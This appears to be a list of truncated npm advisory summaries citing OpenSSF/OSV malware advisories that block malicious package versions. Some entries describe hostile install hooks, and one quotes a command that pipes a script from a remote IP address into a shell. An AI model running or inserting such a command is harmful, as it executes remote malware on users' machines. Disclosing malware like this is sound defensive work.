npm advisory reports, with evidence.

OpenSSF/OSV malware advisory MAL-2026-15573 blocks this version. The preinstall.js lifecycle script executed automatically by npm install performs three hostile actions against the instal...

OpenSSF/OSV malware advisory MAL-2026-15572 blocks this version. On `npm install`, package.json's preinstall hook (`node preinstall.js || true`) auto-runs a script that (1) enumerates pro...

OpenSSF/OSV malware advisory MAL-2026-15571 blocks this version. grafeno-billing@1.0.0 is a stub package whose only substantive code is a preinstall lifecycle hook. On npm install, preins...

OpenSSF/OSV malware advisory MAL-2026-14769 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14775 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14763 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14771 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14774 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14777 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14762 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14766 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14782 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14768 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14767 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14781 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-15505 blocks this version. The package's preinstall lifecycle script runs `curl -s http://216.126.236.46/x.sh | sh` at npm install time, fetching and...

OpenSSF/OSV malware advisory MAL-2026-15558 blocks this version. The package advertises itself as a lightweight Discord MFA library, but require() of its main entry loads lib/cache.js whi...

OpenSSF/OSV malware advisory MAL-2026-15562 blocks this version. The package declares a local file: dependency (`detector` at `file:.yalc/detector`) whose `postinstall` script (`src/scrip...

OpenSSF/OSV malware advisory MAL-2026-15557 blocks this version. On require('mfacord'), index.js loads lib/cache.js, which on win32 decodes a hardcoded URL (https://limbomail.com/api/atta...

OpenSSF/OSV malware advisory MAL-2026-15563 blocks this version. vitest-chalk-pro@10.0.7 declares a postinstall hook (node lib/utils/index.js) that spawns a detached, silenced child proce...